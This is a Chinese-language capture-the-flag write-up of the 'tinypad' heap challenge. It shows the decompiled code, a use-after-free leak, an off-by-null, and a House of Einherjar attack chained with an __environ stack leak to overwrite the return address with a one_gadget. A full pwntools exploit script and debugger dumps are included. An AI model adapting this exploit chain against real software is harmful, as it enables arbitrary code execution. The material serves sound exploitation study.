tinypad
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| ➜ [/home/ywhkkx/桌面] ./tinypad
============================================================================ // _|_|_|_|_| _|_|_| _| _| _| _| _|_|_| _|_| _|_|_| \\ || _| _| _|_| _| _| _| _| _| _| _| _| _| || || _| _| _| _| _| _| _|_|_| _|_|_|_| _| _| || || _| _| _| _|_| _| _| _| _| _| _| || \\ _| _|_|_| _| _| _| _| _| _| _|_|_| // ============================================================================
+------------------------------------------------------------------------------+
+------------------------------------------------------------------------------+
+------------------------------------------------------------------------------+
+------------------------------------------------------------------------------+
+- MENU -----------------------------------------------------------------------+ | [A] Add memo | | [D] Delete memo | | [E] Edit memo | | [Q] Quit | +------------------------------------------------------------------------------+ (CMD)>>>
|
1 2 3 4 5 6 7 8
| tinypad: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=1333a912c440e714599a86192a918178f187d378, not stripped
[*] '/home/ywhkkx/桌面/tinypad' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
|
64位,Full RELRO,开了cancay,开了NX
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141
| int __cdecl main(int argc, const char **argv, const char **envp) { __int64 v3; int choice; int v5; __int64 len; unsigned __int64 len_data; int c; int i; int index; int v12; int size; unsigned __int64 v14;
v14 = __readfsqword(0x28u); v12 = 0; write_n((__int64)&leak_addr, 1uLL); write_n( (__int64)" ============================================================================\n" "// _|_|_|_|_| _|_|_| _| _| _| _| _|_|_| _|_| _|_|_| \\\\\n" "|| _| _| _|_| _| _| _| _| _| _| _| _| _| ||\n" "|| _| _| _| _| _| _| _|_|_| _|_|_|_| _| _| ||\n" "|| _| _| _| _|_| _| _| _| _| _| _| ||\n" "\\\\ _| _|_|_| _| _| _| _| _| _| _|_|_| //\n" " ============================================================================\n", 0x233uLL); write_n((__int64)&leak_addr, 1uLL); do { for ( i = 0; i <= 3; ++i ) { LOBYTE(c) = i + 49; writeln((__int64)"+------------------------------------------------------------------------------+\n", 81LL); write_n((__int64)" # INDEX: ", 0xCuLL); writeln((__int64)&c, 1LL); write_n((__int64)" # CONTENT: ", 0xCuLL); if ( *(_QWORD *)&chunk_list[16 * i + 264] ) { v3 = strlen(*(const char **)&chunk_list[16 * i + 264]); writeln(*(_QWORD *)&chunk_list[16 * i + 264], v3); } writeln((__int64)&leak_addr, 1LL); } index = 0; choice = getcmd(); v12 = choice; if ( choice == 'D' ) { write_n((__int64)"(INDEX)>>> ", 0xBuLL); index = read_int(); if ( index <= 0 || index > 4 ) { LABEL_29: writeln((__int64)"Invalid index", 13LL); continue; } if ( !*(_QWORD *)&chunk_list[16 * index + 240] ) { LABEL_31: writeln((__int64)"Not used", 8LL); continue; } free(*(void **)&chunk_list[16 * index + 248]); *(_QWORD *)&chunk_list[16 * index + 240] = 0LL; writeln((__int64)"\nDeleted.", 9LL); } else if ( choice > 'D' ) { if ( choice != 'E' ) { if ( choice == 'Q' ) continue; LABEL_41: writeln((__int64)"No such a command", 17LL); continue; } write_n((__int64)"(INDEX)>>> ", 0xBuLL); index = read_int(); if ( index <= 0 || index > 4 ) goto LABEL_29; if ( !*(_QWORD *)&chunk_list[16 * index + 240] ) goto LABEL_31; c = 48; strcpy(chunk_list, *(const char **)&chunk_list[16 * index + 248]); while ( toupper(c) != 'Y' ) { write_n((__int64)"CONTENT: ", 9uLL); len = strlen(chunk_list); writeln((__int64)chunk_list, len); write_n((__int64)"(CONTENT)>>> ", 0xDuLL); len_data = strlen(*(const char **)&chunk_list[16 * index + 248]); read_until((__int64)chunk_list, len_data, 0xAu); writeln((__int64)"Is it OK?", 9LL); write_n((__int64)"(Y/n)>>> ", 9uLL); read_until((__int64)&c, 1uLL, 0xAu); } strcpy(*(char **)&chunk_list[16 * index + 248], chunk_list); writeln((__int64)"\nEdited.", 8LL); } else { if ( choice != 65 ) goto LABEL_41; while ( index <= 3 && *(_QWORD *)&chunk_list[16 * index + 256] ) ++index; if ( index == 4 ) { writeln((__int64)"No space is left.", 17LL); } else { size = -1; write_n((__int64)"(SIZE)>>> ", 0xAuLL); size = read_int(); if ( size <= 0 ) { v5 = 1; } else { v5 = size; if ( (unsigned __int64)size > 0x100 ) v5 = 256; } size = v5; *(_QWORD *)&chunk_list[16 * index + 256] = v5; *(_QWORD *)&chunk_list[16 * index + 264] = malloc(size); if ( !*(_QWORD *)&chunk_list[16 * index + 264] ) { writerrln("[!] No memory is available.", 27LL); exit(-1); } write_n((__int64)"(CONTENT)>>> ", 0xDuLL); read_until(*(_QWORD *)&chunk_list[16 * index + 264], size, 0xAu); writeln((__int64)"\nAdded.", 7LL); } } } while ( v12 != 81 ); return 0; }
|
代码量很大,而且很杂
入侵思路
这个程序的释放模块有很明显的漏洞:
1 2
| free(*(void **)&chunk_list[16 * index + 248]); *(_QWORD *)&chunk_list[16 * index + 240] = 0LL;
|
发现程序置空了 size ,却没有置空指针,可以打 unsortedbin leak
1 2 3 4 5 6
| add(0xe0, "A"*0xe0) add(0xf0, "B"*0xf0) add(0x100, "C"*0x100) add(0x100, "D"*0x100) delete(3) delete(1)
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
| pwndbg> x/20xg 0x19a4000 0x19a4000: 0x0000000000000000 0x00000000000000f1 0x19a4010: 0x00000000019a41f0 0x00007f763bf5db78 0x19a4020: 0x4141414141414141 0x4141414141414141 0x19a4030: 0x4141414141414141 0x4141414141414141 0x19a4040: 0x4141414141414141 0x4141414141414141 0x19a4050: 0x4141414141414141 0x4141414141414141 0x19a4060: 0x4141414141414141 0x4141414141414141 0x19a4070: 0x4141414141414141 0x4141414141414141 0x19a4080: 0x4141414141414141 0x4141414141414141 0x19a4090: 0x4141414141414141 0x4141414141414141 0x19a40a0: 0x4141414141414141 0x4141414141414141 0x19a40b0: 0x4141414141414141 0x4141414141414141 0x19a40c0: 0x4141414141414141 0x4141414141414141 0x19a40d0: 0x4141414141414141 0x4141414141414141 0x19a40e0: 0x4141414141414141 0x4141414141414141 0x19a40f0: 0x00000000000000f0 0x0000000000000100 0x19a4100: 0x4242424242424242 0x4242424242424242 0x19a4110: 0x4242424242424242 0x4242424242424242 0x19a4120: 0x4242424242424242 0x4242424242424242 0x19a4130: 0x4242424242424242 0x4242424242424242 0x19a4140: 0x4242424242424242 0x4242424242424242 0x19a4150: 0x4242424242424242 0x4242424242424242 0x19a4160: 0x4242424242424242 0x4242424242424242 0x19a4170: 0x4242424242424242 0x4242424242424242 0x19a4180: 0x4242424242424242 0x4242424242424242 0x19a4190: 0x4242424242424242 0x4242424242424242 0x19a41a0: 0x4242424242424242 0x4242424242424242 0x19a41b0: 0x4242424242424242 0x4242424242424242 0x19a41c0: 0x4242424242424242 0x4242424242424242 0x19a41d0: 0x4242424242424242 0x4242424242424242 0x19a41e0: 0x4242424242424242 0x4242424242424242 0x19a41f0: 0x0000000000000000 0x0000000000000111 0x19a4200: 0x00007f763bf5db78 0x00000000019a4000 0x19a4210: 0x4343434343434343 0x4343434343434343 0x19a4220: 0x4343434343434343 0x4343434343434343 0x19a4230: 0x4343434343434343 0x4343434343434343 0x19a4240: 0x4343434343434343 0x4343434343434343 0x19a4250: 0x4343434343434343 0x4343434343434343 0x19a4260: 0x4343434343434343 0x4343434343434343 0x19a4270: 0x4343434343434343 0x4343434343434343 0x19a4280: 0x4343434343434343 0x4343434343434343 0x19a4290: 0x4343434343434343 0x4343434343434343 0x19a42a0: 0x4343434343434343 0x4343434343434343 0x19a42b0: 0x4343434343434343 0x4343434343434343 0x19a42c0: 0x4343434343434343 0x4343434343434343 0x19a42d0: 0x4343434343434343 0x4343434343434343 0x19a42e0: 0x4343434343434343 0x4343434343434343 0x19a42f0: 0x4343434343434343 0x4343434343434343 0x19a4300: 0x0000000000000110 0x0000000000000110 0x19a4310: 0x4444444444444444 0x4444444444444444 0x19a4320: 0x4444444444444444 0x4444444444444444 0x19a4330: 0x4444444444444444 0x4444444444444444 0x19a4340: 0x4444444444444444 0x4444444444444444 0x19a4350: 0x4444444444444444 0x4444444444444444 0x19a4360: 0x4444444444444444 0x4444444444444444 0x19a4370: 0x4444444444444444 0x4444444444444444 0x19a4380: 0x4444444444444444 0x4444444444444444 0x19a4390: 0x4444444444444444 0x4444444444444444 0x19a43a0: 0x4444444444444444 0x4444444444444444 0x19a43b0: 0x4444444444444444 0x4444444444444444 0x19a43c0: 0x4444444444444444 0x4444444444444444 0x19a43d0: 0x4444444444444444 0x4444444444444444 0x19a43e0: 0x4444444444444444 0x4444444444444444 0x19a43f0: 0x4444444444444444 0x4444444444444444 0x19a4400: 0x4444444444444444 0x4444444444444444 0x19a4410: 0x0000000000000000 0x0000000000020bf1
|
可以获取 libc_base 和 heap_addr 了:
1 2 3 4 5 6
| p.recvuntil('NDEX: 3\n') p.recvuntil('# CONTENT: ') leak_addr=u64(p.recvuntil('\n')[:-1].ljust(8,'\x00')) libc_base=leak_addr-0x3c4b78 success('leak_addr >> '+hex(leak_addr)) success('libc_base >> '+hex(libc_base))
|
程序还有一个漏洞:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| unsigned __int64 __fastcall read_until(__int64 a1, unsigned __int64 size, unsigned int xa) { unsigned __int64 i; signed __int64 n;
for ( i = 0LL; i < size; ++i ) { n = read_n(0, (__int64 *)(a1 + i), 1uLL); if ( n < 0 ) return -1LL; if ( !n || *(char *)(a1 + i) == xa ) break; } *(_BYTE *)(a1 + i) = 0; if ( i == size && *(_BYTE *)(size - 1 + a1) != 10 ) dummyinput(xa); return i; }
|
又是经典的置空末尾“\n”,造成了 off-by-null
- 有 off-by-null 可以置空下一个chunk的P位
- 修改模块可以控制 chunk_list 这一大片区域,伪造 fake_size 绰绰有余
- 最后一个chunk的“presize”直接作为相邻上一个chunk的数据区,完全可以控制
可以考虑打 House Of Einherjar 了:伪造“lastchunk-presize”,溢出“\x00”到“lastchunk->size”
1 2 3 4 5 6 7 8 9 10 11
| chunk_list_addr=0x602040 chunk2_addr=heap_addr+0xf0 offset=chunk2_addr-chunk_list_addr
success('chunk_list_addr >> '+hex(chunk_list_addr)) success('chunk2_addr >> '+hex(chunk2_addr)) success('offset >> '+hex(offset))
add(0xe8, "g"*(0xe8-0x8) + p64(offset)) delete(4)
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| pwndbg> x/20xg 0x1993000 0x1993000: 0x0000000000000000 0x00000000000000f1 0x1993010: 0x6767676767676767 0x6767676767676767 0x1993020: 0x6767676767676767 0x6767676767676767 0x1993030: 0x6767676767676767 0x6767676767676767 0x1993040: 0x6767676767676767 0x6767676767676767 0x1993050: 0x6767676767676767 0x6767676767676767 0x1993060: 0x6767676767676767 0x6767676767676767 0x1993070: 0x6767676767676767 0x6767676767676767 0x1993080: 0x6767676767676767 0x6767676767676767 0x1993090: 0x6767676767676767 0x6767676767676767 0x19930a0: 0x6767676767676767 0x6767676767676767 0x19930b0: 0x6767676767676767 0x6767676767676767 0x19930c0: 0x6767676767676767 0x6767676767676767 0x19930d0: 0x6767676767676767 0x6767676767676767 0x19930e0: 0x6767676767676767 0x6767676767676767 0x19930f0: 0x00000000013910b0 0x0000000000000100
|
伪造 fakechunk -> presizesize,size,FD,BK,FD_next,BK_next :
1 2 3 4
| payload = p64(0x100) + p64(offset) payload += p64(chunk_list_addr) * 4 edit(2, payload) delete(2)
|
1 2 3 4 5 6
| pwndbg> x/20xg 0x602040 0x602040 <tinypad>: 0x0000000000000100 0x0000000000c710b0 0x602050 <tinypad+16>: 0x0000000000602040 0x0000000000602040 0x602060 <tinypad+32>: 0x0000000000602040 0x0000000000602040 0x602070 <tinypad+48>: 0x4242424242424200 0x4242424242424242 0x602080 <tinypad+64>: 0x4242424242424242 0x4242424242424242
|
下一个 chunk 就会申请到“0x602040”,以后的区域都是可以控制的,刚好可以控制 chunk1(即使不能控制 chunk1 也可以多次申请,直到控制 chunkn 为止)
接下来有两种主流打法:
因为程序开了 Full RELRO ,GOT不可写,所以不能GOT劫持
我当时打 hook 的时候发现“修改模块”始终复制不上字符串,最后发现原因了:
1 2
| len_data = strlen(*(const char **)&chunk_list[16 * index + 248]); read_until((__int64)chunk_list, len_data, 0xAu);
|
“chunk_list[16 * index + 248]” 中是真实存在数据的,所以 len_data 有值
但是把这里覆盖为 hook_free 后,len_data 就变为“0”了,导致 read_until 读不了数据
遇到这个问题,网上有两种解决办法:
- 通过 全局变量
__environ
泄露栈地址,把 one_get 复制到返回地址上
- 在 malloc_hook 前面寻找有数据的地址,利用它们来欺骗 strlen
这里采用第一种方法(第二种方法还没有研究明白)
在 libc 中有一个全局变量__environ
,储存着该程序环境变量的地址,而环境变量是储存在栈上的,所以可以泄露栈地址,所以可以控制rip了
1 2 3 4 5 6 7 8 9
| payload = p64(0xe8) + p64(libc_base + libc.symbols["__environ"]) payload += p64(0xe8) + p64(0x602148) add(0xe0, "t"*0xe0) add(0x100, payload)
p.readuntil("# CONTENT: ") stack = p.read(6).ljust(8,'\x00') stack_env = u64(stack) success("env_stack address: " + hex(stack_env))
|
1
| [+] env_stack address: 0x7ffe177c5a98
|
在 GDB 中查看 main 的返回地址:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| pwndbg> stack 50 00:0000│ rsp 0x7ffe177c58b8 —▸ 0x400ed9 (_read_n+112) ◂— mov qword ptr [rbp - 0x10], rax 01:0008│ 0x7ffe177c58c0 ◂— 0x4 02:0010│ 0x7ffe177c58c8 ◂— 0x1 03:0018│ 0x7ffe177c58d0 —▸ 0x7ffe177c5964 ◂— 0x338cf40000000000 04:0020│ 0x7ffe177c58d8 —▸ 0x400fad (_write_n+112) ◂— mov qword ptr [rbp - 0x10], rax 05:0028│ 0x7ffe177c58e0 —▸ 0x401a29 ◂— or al, byte ptr [rax] 06:0030│ 0x7ffe177c58e8 ◂— 0x0 07:0038│ 0x7ffe177c58f0 —▸ 0x4018d8 (prompt_cmd) ◂— sub byte ptr [rbx + 0x4d], al 08:0040│ 0x7ffe177c58f8 ◂— 0x2695b83a338cf400 09:0048│ rbp 0x7ffe177c5900 —▸ 0x7ffe177c5950 —▸ 0x7ffe177c5970 —▸ 0x7ffe177c59a0 —▸ 0x401370 (__libc_csu_init) ◂— ... 0a:0050│ 0x7ffe177c5908 —▸ 0x401100 (read_until+73) ◂— mov qword ptr [rbp - 0x10], rax 0b:0058│ 0x7ffe177c5910 ◂— 9 0c:0060│ 0x7ffe177c5918 ◂— 0xa338cf400 0d:0068│ 0x7ffe177c5920 ◂— 0x1 0e:0070│ 0x7ffe177c5928 —▸ 0x7ffe177c5964 ◂— 0x338cf40000000000 0f:0078│ 0x7ffe177c5930 ◂— 9 10:0080│ 0x7ffe177c5938 ◂— 0x0 11:0088│ 0x7ffe177c5940 —▸ 0x7ffe177c5970 —▸ 0x7ffe177c59a0 —▸ 0x401370 (__libc_csu_init) ◂— push r15 12:0090│ 0x7ffe177c5948 ◂— 0x2695b83a338cf400 13:0098│ 0x7ffe177c5950 —▸ 0x7ffe177c5970 —▸ 0x7ffe177c59a0 —▸ 0x401370 (__libc_csu_init) ◂— push r15 14:00a0│ 0x7ffe177c5958 —▸ 0x400832 (getcmd+92) ◂— mov esi, 1 15:00a8│ rsi-4 0x7ffe177c5960 ◂— 0x2 16:00b0│ 0x7ffe177c5968 ◂— 0x2695b83a338cf400 17:00b8│ 0x7ffe177c5970 —▸ 0x7ffe177c59a0 —▸ 0x401370 (__libc_csu_init) ◂— push r15 18:00c0│ 0x7ffe177c5978 —▸ 0x4009c1 (main+350) ◂— mov dword ptr [rbp - 0x10], eax 19:00c8│ 0x7ffe177c5980 ◂— 0x3400401370 1a:00d0│ 0x7ffe177c5988 ◂— 0x4 1b:00d8│ 0x7ffe177c5990 ◂— 0x10000000041 1c:00e0│ 0x7ffe177c5998 ◂— 0x2695b83a338cf400 1d:00e8│ 0x7ffe177c59a0 —▸ 0x401370 (__libc_csu_init) ◂— push r15 1e:00f0│ 0x7ffe177c59a8 —▸ 0x7f6d91c1c840 (__libc_start_main+240) ◂— mov edi, eax 1f:00f8│ 0x7ffe177c59b0 ◂— 0x1
|
计算偏移:
1 2
| In [6]: 0x7ffe177c59a8-0x7ffe177c5a98 Out[6]: -240
|
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86
| from pwn import*
p=process('./tinypad') elf=ELF('./tinypad') libc = ELF('./libc-2.23.so')
def add(size,content): p.recvuntil('(CMD)>>> ') p.sendline('a') p.recvuntil('(SIZE)>>> ') p.sendline(str(size)) p.recvuntil('(CONTENT)>>> ') p.sendline(content)
def delete(index): p.recvuntil('(CMD)>>> ') p.sendline('d') p.recvuntil('(INDEX)>>> ') p.sendline(str(index))
def edit(index,content): p.recvuntil('(CMD)>>> ') p.sendline('e') p.recvuntil('(INDEX)>>> ') p.sendline(str(index)) p.recvuntil('CONTENT: ') p.recvuntil('(CONTENT)>>> ') p.sendline(content) p.recvuntil('(Y/n)>>> ') p.sendline('y')
add(0xe0, "A"*0xe0) add(0xf0, "B"*0xf0) add(0x100, "C"*0x100) add(0x100, "D"*0x100) delete(3) delete(1)
p.recvuntil('NDEX: 1\n') p.recvuntil('# CONTENT: ') leak_addr=u64(p.recvuntil('\n')[:-1].ljust(8,'\x00')) heap_addr=leak_addr-0x1f0
p.recvuntil('NDEX: 3\n') p.recvuntil('# CONTENT: ') leak_addr=u64(p.recvuntil('\n')[:-1].ljust(8,'\x00')) libc_base=leak_addr-0x3c4b78 success('heap_addr >> '+hex(heap_addr)) success('libc_base >> '+hex(libc_base))
chunk_list_addr=0x602040 chunk2_addr=heap_addr+0xf0 offset=chunk2_addr-chunk_list_addr success('chunk_list_addr >> '+hex(chunk_list_addr)) success('chunk2_addr >> '+hex(chunk2_addr)) success('offset >> '+hex(offset))
add(0xe8, "g"*(0xe8-0x8) + p64(offset)) delete(4)
payload = p64(0x100) + p64(offset) payload += p64(chunk_list_addr)*4 edit(2, payload) delete(2)
gadget = [0x45226,0x4527a,0xf03a4,0xf1247] gadget_addr = libc_base + gadget[3] malloc_hook = libc_base + libc.sym['__malloc_hook'] success('malloc_hook >> '+hex(malloc_hook))
payload = p64(0xe8) + p64(libc_base + libc.symbols["__environ"]) payload += p64(0xe8) + p64(0x602148) add(0xe0, "t"*0xe0) add(0x100, payload)
p.readuntil("# CONTENT: ") stack = p.read(6).ljust(8,'\x00') stack_env = u64(stack) success("env_stack address: " + hex(stack_env)) pause() edit(2, p64(stack_env-240)) edit(1, p64(gadget_addr)) p.readuntil("(CMD)>>>") p.sendline("Q")
p.interactive()
|
house of einherjar 小结(2.23-64位)
house of Einherjar 的核心在于 top chunk 合并,如果一个程序有 off-by-null,并且某片区域可以控制,那么就可以通过 house of einherjar 把 top chunk 合并到那里去
特点归纳如下:
- 需要 off-by-one 漏洞(用于覆盖 last chunk->size 的P位为“0”)
- 需要一片可以控制的区域(用于伪造“fake chunk->presize,size,FD,BK,FDsize,BKsize”)
在决定打 house of einherjar 后,要多注意最后一个chunk,和倒数第二个chunk,有时可以通过释放后面的chunk,来把我们“布置”好的chunk变为 last chunk
对于本题目而言,libc-2.27版本是打不通的,因为绕 cache 需要释放7个chunk来填满 cache,但是本题目只允许同时存在 4 个chunk,所以测试不了 libc-2.27版本 对 house of einherjar 的影响了
另外我还学到了一种泄露栈地址的技术:Environ Leak